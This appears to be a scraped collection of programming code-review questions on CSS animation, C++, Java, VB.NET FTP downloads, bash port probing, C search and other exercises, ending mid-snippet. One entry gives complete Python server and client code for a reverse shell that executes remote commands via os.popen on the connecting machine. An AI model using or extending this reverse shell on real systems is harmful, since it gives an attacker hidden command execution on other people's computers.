texts: Animating the appearance of a title with CSS

texts:
To sum up my project was about making cool animation of titles appearance with an effect of a colored block coming from one side while expanding and disappearing from the others side while contracting and let the text appear.

My goal was to achieve something simple, that can be used again easily on different elements just by giving them the right classes.

I use only CSS for the animation to improve load time.

I absolutely want the animation to automatically adapt to the size of the text it contains.

Problems I encountered:

The width animation is easy from left to right but not from right to left because there's no origin define in CSS 'animation' (like in 'transform') to solve the problem I use two elements:

First one with position absolute, left:0
Second one with position absolute, right:0

Each one makes only one part of the animation. I find it a bit sad to use two elements to pretend the animation of only one element but I haven't figured out a different way of doing this.

html, body{
 margin: 0;
 padding: 0;
 min-width: 1200px;
 width: 100%;
 height: 100%;
 background-color: #FE4D3D;
 font-family: arial;
}

#container{
 margin-left: 10px;
 display: inline-block;
}

.animated-block-from-left{
 position: absolute;
 top:0;
 left:0;
 z-index: 2;
 height: 100%;
   width: 0%;
   animation: grandir 1s ease ;

}

@keyframes grandir{
 0%{width: 0%;}
 100%{width: 100%;}
}

.animated-block-from-right{
 position: absolute;
 top:0;
 right:0;
 z-index: 2;
 height: 100%;
   width: 0%;
   animation: retrecir 1s 1s ease ;

}

@keyframes retrecir{
 0%{width: 100%;}
 100%{width: 0%;}
}

.yellow{
 background-color: #FFFE02;
}

h1{
 text-align: center;
 padding: 20px;
 box-sizing: border-box;
 position: relative;
 font-size: 80px;
 color: transparent;
 animation: textappear 0.1s 1s forwards;
 z-index: 1;
}

@keyframes textappear{
 100%{color: #FFFE02;}
}

  HELLO JOHN !


texts: C++ wrapper around uniform mt19937 SequenceContainer

texts:
With the following interface in mind

EasyRandom<unsigned int> prng(a, b);
auto x = prng();   // scalar
auto v = prng(10); // vector

I wrote the following class:

// https://en.cppreference.com/w/cpp/numeric/random/uniform_int_distribution
template <typename T = unsigned int>
class EasyRandom
{
private:
  std::random_device rd;
  std::unique_ptr<std::mt19937> gen;
  std::unique_ptr<std::uniform_int_distribution<T>> dist;

public:
  EasyRandom(T a, T b)
  {
    gen = std::make_unique<std::mt19937>(rd());
    dist = std::make_unique<std::uniform_int_distribution<T>>(a, b);
  }

  T operator()() { return (*dist)(*gen); }

  std::vector<T> operator()(size_t n)
  {
    std::vector<T> v;
    for (; n > 0; v.push_back(operator()()), --n);
    return v;
  }
};

I also have a few specific questions:

Is there a way to instantiate EasyRandom without the use of pointers?
Is it possible to change operator()(size_t n) to return any user-specified SequenceContainer (e.g. vector, list, deque) instead of hard-coding it to a particular implementation (e.g. std::vector)?


texts:
Based on this question, I wrote my own implementation of the yesno function I suggested. The function reads an answer until it is either "y" or "yes" or "n" or "no" (case-insensitive).

#include <algorithm>
#include <cctype>
#include <cstdlib>
#include <iostream>
#include <string>

bool yesno(const std::string &prompt)
{
    while (true) {
        std::cout << prompt << " [y/n] ";

        std::string line;
        if (!std::getline(std::cin, line)) {
            std::cerr << "\n";
            std::cerr << "error: unexpected end of file\n";
            std::exit(EXIT_FAILURE);
        }

        std::transform(line.begin(), line.end(), line.begin(),
                       [](unsigned char x){return std::tolower(x);});

        if (line == "y" || line == "yes") {
            return true;
        }
        if (line == "n" || line == "no") {
            return false;
        }
    }
}

int main()
{
    bool include_digits = yesno("Should the password include digits?");
    if (include_digits) {
        std::cout << "le1mein\n";
    } else {
        std::cout << "letmein\n";
    }
}

I took care to:

Include all necessary headers.
Call the std::tolower function with an unsigned char as argument.
Use std::getline instead of the hard-to-control >> operator.
Catch all errors (except for writing to std::cout).

Anything that I missed?


texts:
The list is pretty simple, here is my code:
ILinkedList.java

package datastructures;

public interface ILinkedList<T> {
    public enum posForOperation { BEGGINIG,BEFORE ,AFTER ,END }
    public class Node<T>{
        T data;
        Node next;
        public Node(T data){
            this.data = data;
            this.next = null;
        }
    }
    public Node newNode(T data);
    public void add(posForOperation insert_at, T data);
    public void add(posForOperation insert_at, T data, Node node);
    public void delete(posForOperation delete_at);
    public void delete(posForOperation delete_at, Node node);
    public void deleteAtPos(int pos);
    public Node search(T data);
    public void print(); // for debugging
}

LinkedList.java

package datastructures;

public class LinkedList<T> implements ILinkedList<T> {
    private Node head;
    private Node end;
    public LinkedList(T data){
        Node new_node = new Node(data);
        head = new_node;
        end  = new_node;
    }
    @Override
    public Node newNode(T data) {
        return new Node(data);
    }

    @Override
    public void add(ILinkedList.posForOperation insert_at, T data) {
        Node new_node = newNode(data);
        if(insert_at == ILinkedList.posForOperation.BEGGINIG){
            new_node.next = head;
            head = new_node;
        }
        else if(insert_at == ILinkedList.posForOperation.END){
            end.next = new_node;
            end = new_node;
        }
    }

    @Override
    public void add(ILinkedList.posForOperation insert_at, T data, Node node) {
        if(insert_at == ILinkedList.posForOperation.BEFORE){
            Node tmp = head;
            while(tmp.next != node && tmp.next != null){
                tmp = tmp.next;
            }
            Node new_node = newNode(data);
            new_node.next = node;
            tmp.next = new_node;
        }
        else if(insert_at == ILinkedList.posForOperation.AFTER){
            Node new_node = newNode(data);
            new_node.next = node.next.next;
            node.next = new_node;
        }
        else // in case of misuse
            add(insert_at, data);
    }

    @Override
    public void delete(ILinkedList.posForOperation delete_at) {
        if(delete_at == ILinkedList.posForOperation.BEGGINIG){
            head = head.next;
        }
        if(delete_at == ILinkedList.posForOperation.END){
            Node tmp = head;
            while(tmp.next != end && tmp != end){ // the second condition is in case that head = end
                tmp = tmp.next;
            }
            tmp.next = null;
            end = tmp;
        }
    }

    @Override
    public void delete(ILinkedList.posForOperation delete_at, ILinkedList.Node node) {
        if(node.next == null)
            delete(ILinkedList.posForOperation.END);
        else if(delete_at == ILinkedList.posForOperation.AFTER){
            node.next = node.next.next;
        }
        else if(delete_at == ILinkedList.posForOperation.BEFORE){
            Node tmp = head;
            while(tmp.next != node){
                tmp = tmp.next;
            }
            tmp.next = node.next;
        }
        else //in case of misuse
            delete(delete_at);
    }

    @Override
    public ILinkedList.Node search(T data) {
        Node tmp = head;
        while(tmp.data != data && tmp != null){
            tmp = tmp.next;
        }
        return tmp;
    }

    @Override
    public void deleteAtPos(int pos) {
        Node tmp = head;
        for (int i = 0; i < pos-1 && tmp != null; i++){
            tmp = tmp.next;
        }
        delete(ILinkedList.posForOperation.AFTER, tmp);
    }

    @Override
    public void print() {
        Node tmp = head;
        while(tmp != end){
            System.out.println(tmp.data);
            tmp = tmp.next;
        }
    }
}


texts:
public class MergeSortImplementation {

    public static int[] merge(int[] arrayA, int[] arrayB) {
        int n = arrayA.length + arrayB.length;

        int[] mergedArray = new int[n];

        int x = 0;
        int y = 0;
        int a = 0;
        int b = 0;

        for (int i = 0; i < mergedArray.length; i++) {

            // Check if arrayA is out of bounds.
            if (x < arrayA.length) {
                a = arrayA[x];
            } else {
                b = arrayB[y];
                mergedArray[i] = b;
                y++;
                continue;
            }

            // Check if arrayB is out of bounds.
            if (y < arrayB.length) {
                b = arrayB[y];
            } else {
                a = arrayA[x];
                mergedArray[i] = a;
                x++;
                continue;
            }

            if (a == b) {
                mergedArray[i] = a;
                i++;
                x++;
                mergedArray[i] = b;
                y++;
            } else if (a < b) {
                mergedArray[i] = a;
                x++;
            } else if (b < a) {
                mergedArray[i] = b;
                y++;
            }
        }

        return mergedArray;
    }

    public static int[] mergeSort(int[] inputArr) {

        int n = inputArr.length;

        // Base Case: Array's length is less than 1
        if (n <= 1) {
            return inputArr;
        }

        // Creating two arrays to store values
        int[] arrayA = new int[n / 2];
        int[] arrayB = new int[n - (n / 2)];

        // Creating resulting array
        int[] outputArr = new int[n];

        // Initializing arrayA
        for (int i = 0; i < arrayA.length; i++) {
            arrayA[i] = inputArr[i];
        }

        // Initializing arrayB
        for (int i = 0; i < arrayB.length; i++) {
            arrayB[i] = inputArr[i + (n / 2)];
        }

        // Divide array into 2 halves
        arrayA = mergeSort(arrayA);
        arrayB = mergeSort(arrayB);
        outputArr = merge(arrayA, arrayB);

        return outputArr;
    }

    public static void main(String[] args) {

        int[] intArr = {49, 23, 59, 23, 49, 32};

        int[] sortedArray = mergeSort(intArr);

        for (int e : sortedArray) {
            System.out.print(e + " ");
        }
    }
}

It looks very different from others. This is because I am creating an extra array and returning another. Other than memory/space inefficiency can someone tell me what could be better with the way I'm implementing MergeSort? Or why this coding style is not acceptable?


texts: Function that recursively downloads entire directory is slow

texts:
I created this function to recursively copy an entire directory from an FTP server. It works just fine except that it is about 4 times slower than using FileZilla to do the same operation. It takes approximately 55 seconds to download the directory in FileZilla but it takes 229 seconds with this function. What can I do to make it download/run faster?

Private Sub CopyEntireDirectory(ByVal directory As String)
    Dim localPath = localDirectory & formatPath(directory)
    'creates directory in destination path
    IO.Directory.CreateDirectory(localPath)

    'Gets the directory details so I can separate folders from files
    Dim fileList As ArrayList = Ftp.ListDirectoryDetails(directory, "")

    For Each item In fileList
        'checks if it's a folder or file: d=folder
        If (item.ToString().StartsWith("d")) Then
            'gets the directory from the details
            Dim subDirectory As String = item.ToString().Substring(item.ToString().LastIndexOf(" ") + 1)
            CopyEntireDirectory(directory & "/" & subDirectory)
        Else
            Dim remoteFilePath As String = directory & "/" & item.ToString().Substring(item.ToString().LastIndexOf(" ") + 1)
            Dim destinationPath = localPath & "\" & item.ToString().Substring(item.ToString().LastIndexOf(" ") + 1)
            'downloads file to destination directory
            Ftp.DownLoadFile(remoteFilePath, destinationPath)
        End If
    Next
End Sub

This function below is what is actually taking up 97% of the time.

Public Sub DownLoadFile(ByVal fromFilename As String, ByVal toFilename As String)
    Dim files As ArrayList = Me.ListDirectory(fromFilename, "")
    Dim request As FtpWebRequest = Me.CreateRequestObject(fromFilename)
    request.Method = WebRequestMethods.Ftp.DownloadFile

    Dim response As FtpWebResponse = CType(request.GetResponse(), FtpWebResponse)
    If response.StatusCode <> FtpStatusCode.OpeningData AndAlso response.StatusCode <> FtpStatusCode.DataAlreadyOpen Then
        Throw New ApplicationException(Me.BuildCustomFtpErrorMessage(request, response))
    End If

    Dim fromFilenameStream As Stream = response.GetResponseStream()
    Dim toFilenameStream As FileStream = File.Create(toFilename)

    Dim buffer(BLOCK_SIZE) As Byte
    Dim bytesRead As Integer = fromFilenameStream.Read(buffer, 0, buffer.Length)
    Do While bytesRead > 0
        toFilenameStream.Write(buffer, 0, bytesRead)
        Array.Clear(buffer, 0, buffer.Length)
        bytesRead = fromFilenameStream.Read(buffer, 0, buffer.Length)
    Loop

    response.Close()
    fromFilenameStream.Close()
    toFilenameStream.Close()
End Sub


texts:
I am a tyro with OOCSS and think I bit off more than I can chew in creating a dropdown bubble for a menu item.

I removed as much element specific code as I could, but still think I don't quite have it down.

I know my class names are all messed up, but I'm really just messing around right now.

For example: should the dropdownContain have the positioning, or more like set the margin that gives the position  .drop .dropdownContain {margin-left: -100px} that way the dropdownContain can be re-used later?

Any suggestions?

CSS:

li {
    list-style-type: none;
}

ol, ul {
    list-style-type: none;
    font: 13px Verdana, 'Lucida Grande';
    cursor: pointer;
}
ol>li, ul>li {
    margin: .2em 0
}
.navDropDown .drop {
    position: relative;
}
.triangle {
    width: 0;
    height: 0;
    position: absolute;
    border-left: 8px solid transparent;
    border-right: 8px solid transparent;
    border-bottom: 8px solid white;
}
.dropOut .triangle {
    top: -8px;
    left: 50%;
    margin-left: -8px;
}
.dropdownContain {
    position: absolute;
    z-index: 2;
    left: 50%;
    margin-left: -100px;
    top: -400px;
 }
.dropOut {
    width: 200px;
    background: white;
    float: left;
    position: relative;
    margin-top: 0px;
    opacity: 0;
    border-radius: 4px;
    box-shadow: 0 1px 6px rgba(0, 0, 0, .15);
    transition: all .1s ease-out;
}
.dropOut .dropDown {
    float: left;
    padding: 10px 5px;
}
.dropList {
    width: 155px;
    padding: 5px 0 5px 15px;
    margin: 0px 10px;
    color: #777;
    border-radius: 4px;
    transition: background .1s ease-out;
}
.dropDown .dropList:not(:first-child):hover {
    background: #f6f6f6;
    width: 155px;
}
.drop:hover .dropdownContain {
    top: 18px;
}
.drop:hover .dropOut {
    opacity: 1;
    margin-top: 8px;
}

HTML:

E-Mail

Settings

Account

Download Software

Help

Sign Out

http://jsfiddle.net/mHvYQ/5/


texts:
I have a situation where we need to be able to run multiple instances of a Spring app with dynamically assigned ports defined at runtime. I need to be able to get an available port at runtime, create some associated file structure for dedicated logs &c, and plug the port number into the command-line arguments passed to Java.

Below is an adaptation of some code I pulled off the Unix exchange and tweaked. It currently seems to do what I need - runs in single-digit milliseconds, accepts upper an lower bounds or provides reasonable defaults, won't spin off into an infinite loop if someone does something stupid like specifying the same upper and lower bound as a port that's already in use, doesn't actually send a newline into a port that's already in use, etc.

Anyone see a flaw, or a way to make it cleaner?

I know there's a possible race condition, and suggestions for that are welcome. I don't need non-bash portability.

getPort() {
    local -i lo=${1:-50000} hi=${2:-65000}
    local -i range=$(( hi - lo + 1 )) candidate
    for try in {1..999}
    do  candidate=$(( lo + ( $RANDOM$RANDOM % range ) ))
        { printf "" >/dev/tcp/127.0.0.1/$candidate ||
          printf "" >/dev/tcp/-thisIP,redacted-/$candidate
        } >/dev/null 2>&1 || { echo $candidate; return 0; }
    done
    return 1;
}

ADDENDUM

Since I am only interested in ports on the local machine, I should be ok if I test both localhost and every IP for this machine, which in my case will be only one. (IP redacted above.)

Yes?

Also, since someone could pass in 0 and 65000 as args, just using a 16bit $RANDOM alone doesn't cover all cases. I took the cheesy-easy route and used $RNADOM$RANDOM, which has some weirdness since about 2/3 of the time the 5th digit from the right will only be one of [123], and the distribution curve will slope up from the low end, but these aren't problematic in my case. Still, I'd love to see examples of how to smooth it out.


texts: Reverse shell allows connection between computers

texts:
I've recently made a reverse-shell which allows you remote shell access to other computers.

It's written in Python 2 and it is cross-platform. Basically, it get's user input for a command and sends it to the client with sockets. The client then runs it with os.system.

Here's the code for the server (urchin.py):

#!/usr/bin/python
import socket, os, sys, platform

if 'Windows' in platform.system():
    os.system('cls')
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"
else:
    os.system("clear")
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (\033[1;31mkeeganjk\033[0;0m)"
    print "Version   : v1.1.1 (\033[0;32mPluteus\033[0;0m)"

port = 31337
s = socket.socket()
s.bind(('', port))
print ""
print "[*] Waiting for connection ..."
s.listen(1)
while True:
    c, addr = s.accept()
    print "[+] Accepted connection from", addr, "!"
        print ""
    while True:
        cmd = raw_input("$ ")
        if cmd == "python":
            while cmd != "exit()":
                cmd = raw_input(">>> ")
                if cmd == "exit":
                    print "Use exit() to exit"
                cmd = "python -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "bash":
            while True:
                cmd = raw_input("bash$ ")
                cmd = "bash -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "quit" or cmd == "exit":
            c.send('quit')
            s.close()
                sys.exit(1)
        else:
                c.send(cmd)
            print c.recv(1024)

And here's the code for client.py:

#!/usr/bin/python
import socket, os, sys
s = socket.socket()
host = '127.0.0.1'
port = 31337
s.connect((host, port))
while True:
    cmd = s.recv(1024)
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))
        o = " "
        s.send(o)
    elif cmd == "quit":
        s.close()
        sys.exit(1)
    else:
        o = os.popen(cmd).read()
        s.send(o)

Any suggestions? How can I make this work better?


texts:
I have a drop-down that users can choose what template they are about to receive. I'm pretty novice to Rails but I kind of go the logic Front-end = JavaScript and that's what I did, but this use of JavaScript seems like Rails should be able to handles it.

        <%= form_tag %>
            <%= select_tag :statement_type, options_for_select(Statement.statement_types.keys.to_a), :class => 'id_select', :id => 'secret_id'  %>

    <button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
        <%= link_to "New Form", new_statement_template_path(:statement_type => 'SoW'), :id => "secret_submit", method: :post %>

The -only- purpose of the form_tag is because I couldn't get the link_to to successfully launch other-wise.

I make the link dynamic by using this function

$('#secret_id').on('change', function(){
    $('#secret_submit').attr('href', '/statements/new/statement_type='+ $('#secret_id').val());
});

I of course now have a pretty ugly URL, and in addition had to create a custom route, so I am wondering about the 'Rails Way' of doing this. Or at the least, making the URL prettier.


texts: Binary search on a uniformly distributed vector

texts:
I am trying to write a binary search using recursion in C on a sorted vector that we can assume comes from a uniform distribution between the start and end values. What I am trying to write is an algorithm that performs best in expected time. I am having some issue with picking the correct index to 'split' at and while it passes my tests, it feels a bit hacky.

int weighted_binary_split(int *x, int start_limit, int start_idx, int end_idx,
                          int val, int *depth) {
    // For a vector of length `n` with known starting and ending values,
    //     x[start_idx:end_idx+1] = [start, ..., end]
    // searches for `val` in `x`, assuming `x` is uniformly distributed and
    // ordered. Note that we always get the first occurence of `val` in `x`.
    // I say 'best' because it is simply intuition.
    // Note that when initially calling this, we will have
    //     start_limit = start_idx
    // however when we are within the recursion this is no longer the case.
    int n = end_idx - start_idx + 1;
    int start = x[start_idx];
    int end = x[end_idx];
    int out;
    int i;

    // Keep track of how many iterations/depth we have gone in binary search
    // tree.
    *depth += 1;

    // Catch the case where end == start (causing divide by 0 below).
    if (end - start == 0) {
        return start_idx;
    }

    // Catch the case where val == start (can just return start_idx).
    if (val == start) {
        return start_idx;
    }

    // We want to find
    //     (val - start)/((end - start)/n) = n*val/(end - start),
    // rounded to the nearest integer.
    // Note there is no point using
    //     1) idx = start_idx
    //        as if val == x[start_idx] ==> val == start, caught above.
    //     2) idx = start_idx + n = end_idx + 1, too big for vector.
    // Hence we use (n - 1). THIS PART FEELS HACKY.
    int idx = start_idx + ((n-1)*(val - start))/(end - start);
    if (idx == start_idx) {
        idx += 1;
    }

    if (x[idx] > val) {
        // Search again with idx as the new `end_idx`.
        out = weighted_binary_split(x, start_limit, start_idx, idx, val, depth);
    } else if (x[idx] < val) {
        // Search again with idx as the new `start_idx`.
        out = weighted_binary_split(x, start_limit, idx, end_idx, val, depth);
    } else {
        // In this case we have found val in x at x[idx].
        // We finally get the first occurence of `val` in x[start_limit:idx+1].
        for (i=1; i<idx-start_limit+1; i++) {
            if (x[idx - i] != x[idx]) {
                // We have found our first value!
                return idx - i + 1;
            }
        }

        // If we reach this point, then x[start_limit] was the first value.
        return start_limit;
    }

    return out;
}

Below is a test template you can use.

int example_split() {
    // Test that our weighted binary split works correctly.
    int x[10] = {0, 1, 2, 2, 4, 5, 6, 6, 7, 9};
    int start_idx = 0;
    int end_idx = 9;
    int val = 2;
    int idx;
    int i;
    int depth = 0;

    idx = weighted_binary_split(x, start_idx, start_idx, end_idx, val, &depth);
    printf("\nFirst index into:\n\tx = (");
    for (i=0; i<10; i++) {
        printf("%d,", x[i]);
    }
    printf(")");
    printf("\nfor:\n\tval = %d", val);
    printf("\nis\n\tidx = %d", idx);
    printf("\nwith\n\tx[idx]=%d", x[idx]);
    printf("\nat\n\tdepth=%d\n", depth);

    return 0;
}


texts: Tail-Recursion to get a Map of word counts

texts:
I want to read a file and store the number of occurrences of each word in a Map, using tail recursion. I came up with the following; it seems to work; does it look like it's right?

def countWordsinFile(reader:java.util.Scanner, wordCounts:Map[String,Int]): Map[String,Int] = {
    if (!reader.hasNext()) wordCounts
    else {
        val word = reader.next()
        countWordsinFile(reader, wordCounts + (word -> {wordCounts.getOrElse(word,0)+1}))
    }
}
// the function is called with a reader from a .txt file and wordCounts is an empty Map()

Is this tail-recursive? If not, then how can I make it so?


texts: Interface modelling for a journaling program in Java

texts:
My program's Journal consists of unique Pages identified by their Day. Within those pages are a collection of Entry (wrapped in an interface of their own, Entries).

Users will be directly interacting with unique Pages supplied by the Journal upon passed an instance of Day.

Within those Page he/she could opt to change the weather felt on that Day (but not the Day itself) plus add, remove, or edit an Entry.

The Entry itself is no more than a combination of Title and Body. Each Page can have as many of Entry as the user wants as long as they're unique to one another within itself. An Entry's uniqueness is determined by their Title (similar Body is completely fine).

Journal.java

public interface Journal extends Iterable<Page>, Serializable {

  Page pageFor(Day day);
}

Page.java (Entries is just List<Entry> but with maintained uniqueness)

public interface Page extends Entries {

  Day day();
}

Day.java (Weather is just an ordinary enum)

public interface Day extends Serializable {

  Date date();

  Weather weather();

  void changeWeather(Weather newWeather);
}

Entry.java

public interface Entry extends Serializable {

  Title title();

  void changeTitle(Title newTitle);

  Body body();

  void changeBody(Body newBody);
}

Throughout the process of designing this model my main goal has always been to make components as loosely-coupled as possible. But as with any beginner, I have my doubts:

Is this way of composition correct? Should a page know how to change the Weather of a Day it's related to instead?
How to correctly create an Entry to my Page? Should it has some method called createEntry(Title, Body) or would an add(Entry) be enough?
How to make this model more immutable? I want everything in my program-to-be as immutable as they could, but the nature of Day is to have changeable Weather or in other word, mutable.

Also, if you have any suggestions on how to improve this overall model, please don't hesitate to speak it through.


texts: Enforcing numeric inputs and sanitizing different formats for IE11 input fields

texts:
I'm working on a web form that functions with numeric inputs. I have <input type="number"> input fields and with Chrome and Firefox things work nicely since they only allow numeric data to be filled in.

However, I need to support IE11 and it does not enforce the number type when inputting data (but does when submitting data).

Since I want to make it as easy as possible for users (who often copy-paste data from different sources), I wanna sanitize the numbers both on paste as well as on submit.

Things I'm achieving here:

Replacing spaces and commas as thousand-separators (100 000.25 -> 100000.25 and 100,000.25 -> 100000.25
Replacing commas a decimal pointer with a dot (100000,25 -> 100000.25)

How would you improve the code and are there some edge cases I'm forgetting?

function sanitizeValue(value) {
    return value.replace(/ /g, '')
                .replace(/\./g, ',')
                .replace(/[,](?=.*[,])/g, "")
                .replace(/,/g, '.')
}

var form = document.getElementById('form')
var inputs = document.getElementsByTagName('input')

form.onsubmit = function(event) {
    Object.values(inputs).forEach(function(input) {
        input.value = sanitizeValue(input.value)
    })
}

Object.values(inputs).forEach(input => {
    input.onpaste = ev => {
        ev.preventDefault()
        let pasteValue = ev.clipboardData.getData('text/plain')
        ev.target.value = sanitizeValue(pasteValue)
    }
})


texts: Extracting elements from multiple sorted lists efficiently

texts:
I was asked this interview question recently. I was able to come up with this which runs in \$O(k \log n)\$.

  Given k <= n sorted arrays each of size n, there exists a data structure requiring \$O(kn)\$ preprocessing time and memory that answers iterated search queries in \$O(k + \log n)\$ time.

I have k sorted Lists, each of size \$n\$. I currently have hard-coded 5 sorted Lists each of size 3, but in general that can be a very high number.

I would like to search for a single element in each of the \$k\$ Lists. Obviously, I can binary search each array individually, which will result in \$O(k \log n)\$ where \$k\$ is number of sorted arrays.

Can I do it in \$O(k + \log n)\$ where \$k\$ is the number of sorted arrays? I think there might be some better way of doing it as we're doing the same searches \$k\$ times as of now.

private List<List<Integer>> dataInput;

public SearchItem(final List<List<Integer>> inputs) {
    dataInput = new ArrayList<List<Integer>>();
    for (List<Integer> input : inputs) {
        dataInput.add(new ArrayList<Integer>(input));
    }
}

public List<Integer> getItem(final Integer x) {
    List<Integer> outputs = new ArrayList<Integer>();
    for (List<Integer> data : dataInput) {
        int i = Collections.binarySearch(data, x); // binary searching the item
        if (i < 0)
            i = -(i + 1);
        outputs.add(i == data.size() ? null : data.get(i));
    }
    return outputs;
}

public static void main(String[] args) {
    List<List<Integer>> lists = new ArrayList<List<Integer>>();

    List<Integer> list1 = new ArrayList<Integer>(Arrays.asList(3, 4, 6));
    List<Integer> list2 = new ArrayList<Integer>(Arrays.asList(1, 2, 3));
    List<Integer> list3 = new ArrayList<Integer>(Arrays.asList(2, 3, 6));
    List<Integer> list4 = new ArrayList<Integer>(Arrays.asList(1, 2, 3));
    List<Integer> list5 = new ArrayList<Integer>(Arrays.asList(4, 8, 13));

    lists.add(list1);
    lists.add(list2);
    lists.add(list3);
    lists.add(list4);
    lists.add(list5);

    SearchItem search = new SearchItem(lists);
    System.out.println(dataInput);

    List<Integer> dataOuput = search.getItem(5);

    System.out.println(dataOuput);
}

Whatever output I am seeing with my above code approach should come with the new approach as well which should work in \$O(k + \log n)\$. Is this possible to achieve? Can anyone provide an example of how this would work based on my example?


texts: Data transformation involving dictionaries and lists

texts:
My initial problem is to transform a List of Mappings whose values are Lists of values. The transformed list must contain the Cartesian product of all lists (those that are values in the dictionaries) that belong to separate dictionaries (in other words, the values of the lists present in the same directories are "coupled").

Basically, if you disregard the keys of the dictionaries, this would be solved simply with itertools.product.

Input:

[
   {
      ('B3G', 'B1'): [1.0, 2.0],
      ('B1G', 'B1'): [11.0, 12.0]
   },
   {
      ('B2G', 'B1'): [1.5, 2.5, 3.5]
   }
]

Output:

[
  {('B3G', 'B1'): 1.0, ('B1G', 'B1'): 11.0, ('B2G', 'B1'): 1.5},
  {('B3G', 'B1'): 1.0, ('B1G', 'B1'): 11.0, ('B2G', 'B1'): 2.5},
  {('B3G', 'B1'): 1.0, ('B1G', 'B1'): 11.0, ('B2G', 'B1'): 3.5},
  {('B3G', 'B1'): 2.0, ('B1G', 'B1'): 12.0, ('B2G', 'B1'): 1.5},
  {('B3G', 'B1'): 2.0, ('B1G', 'B1'): 12.0, ('B2G', 'B1'): 2.5},
  {('B3G', 'B1'): 2.0, ('B1G', 'B1'): 12.0, ('B2G', 'B1'): 3.5}
]

To make the matter more confusing, the keys of each dictionaries are Tuples of strings.

Here is a possible implementation, using a class to isolate the whole mess.

@dataclass
class ParametricMapping:
"""Abstraction for multi-dimensional parametric mappings."""

mappings: List[Mapping[Tuple[str], Sequence[float]]] = field(default_factory=lambda: [{}])

@property
def combinations(self) -> List[Mapping[Tuple[str], float]]:
    """Cartesian product adapted to work with dictionaries, roughly similar to `itertools.product`."""

    labels = [label for arg in self.mappings for label in tuple(arg.keys())]
    pools = [list(map(tuple, zip(*arg.values()))) for arg in self.mappings]

    def cartesian_product(*args):
        """Cartesian product similar to `itertools.product`"""
        result = [[]]
        for pool in args:
            result = [x + [y] for x in result for y in pool]
        return result

    results = []
    for term in cartesian_product(*pools):
        results.append([pp for p in term for pp in p])

    tmp = []
    for r in results:
        tmp.append({k: v for k, v in zip(labels, r)})

    if len(tmp) == 0:
        return [{}]
    else:
        return tmp

Question: How can I improve this to make it cleaner (priority #1) and faster (#2)?


texts:
Valid Alphanumeric Palindrome

Problem (from Leetcode)

  Given a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases. For example, A man, a plan, a canal: Panama is a palindrome but race a car is not a palindrome.

Discussion

My approach was the following:

Start with first and last characters of the input string (keeping track of their respective indices).
While the index of the first character is less than the index of it's "opposite" character...
a. For both characters, increment / decrement their index if they're not alphanumeric (and first character index is
  less than it's opposite character index
b. The invalid case occurs when

The first character index is less than it's opposite
Both characters are not alphabetic or not numeric
Both characters are alphabetic and their lower case (or upper case) values are not equal
Both characters are numeric but their values are not equal
c. Increment the first character index and decrement the opposite character index

If able to exit the while loop, return true

Other discussion points

I could probably make the helper methods (like isAlphanumeric) private
Open to other (better) names
My if statement is pretty inelegant / hard to read - move to a helper method perhaps?
Convert the whiles to fors with conditionals?

Implementation

public class AlphanumericPalindromeValidator {
    public static boolean isValid(String value) {
        char[] chars = value.toCharArray();
        int i = 0;
        int j = value.length() - 1;
        while (i < j) {
            char character = chars[i];
            while (!AlphanumericPalindromeValidator.isAlphanumeric(character) && i < j) {
                i++;
                character = chars[i];
            }
            char oppositeCharacter = chars[j];
            while (!AlphanumericPalindromeValidator.isAlphanumeric(oppositeCharacter) && i < j) {
                j--;
                oppositeCharacter = chars[j];
            }

            if (i < j
                    && !(AlphanumericPalindromeValidator.isAlphabeticCharacterPair(character, oppositeCharacter)
                        && Character.toLowerCase(character) == Character.toLowerCase(oppositeCharacter))
                    && !(AlphanumericPalindromeValidator.isNumericCharacterPair(character, oppositeCharacter)
                        && character == oppositeCharacter)) {
                return false;
            }

            i++;
            j--;
        }

        return true;
    }

    public static boolean isAlphanumeric(char c) {
        return Character.isAlphabetic(c) || Character.isDigit(c);
    }

    public static boolean isAlphabeticCharacterPair(char c1, char c2) {
        return Character.isAlphabetic(c1) && Character.isAlphabetic(c2);
    }

    public static boolean isNumericCharacterPair(char c1, char c2) {
        return Character.isDigit(c1) && Character.isDigit(c2);
    }


texts: Geeks for Geeks: Trapping Rain Water Problem - time limit exceeded

texts:
Problem Statement:
Given an array arr[] of N non-negative integers representing the height of blocks. If width of each block is 1, compute how much water can be trapped between the blocks during the rainy season.

Input:
N = 6
arr[] = {3,0,0,2,0,4}

Output:
10

For complete description, please go to this link.

My Code:
// { Driver Code Starts
#include<bits/stdc++.h>

using namespace std;

 // } Driver Code Ends

// function to find the trapped water in between buildings
// arr: input array
// n: size of array
int maxValueInArray(int arr[], int start, int end){
    if(start == end) return arr[start];
    int mx = 0;
    for(int i = start; i<=end; i++){
        mx = max(arr[i], mx);
    }
    return mx;

}
int trappingWater(int arr[], int n){

    // Your code here
    int ans = 0;
    for(int i = 1; i<n-1; i++){
        int curr = arr[i];
        int maxLeft = maxValueInArray(arr,0, i-1);
        int maxRight = maxValueInArray(arr, i+1, n-1);
        if(maxLeft == curr || maxRight == curr) ans += 0; // 8, 8, 3
        else if(maxLeft >= curr && curr >= maxRight) ans += 0; //8, 5, 3
        else if(maxLeft <= curr && curr <= maxRight) ans+= 0; //2, 4, 7
        else if(maxLeft < curr && curr > maxRight) ans+= 0; //5, 7, 6
        else ans += min(maxLeft, maxRight) - arr[i];
    }
    return ans;
}

// { Driver Code Starts.

int main(){

    int t;
    //testcases
    cin >> t;

    while(t--){
        int n;

        //size of array
        cin >> n;

        int a[n];

        //adding elements to the array
        for(int i =0;i<n;i++){
            cin >> a[i];
        }

        //calling trappingWater() function
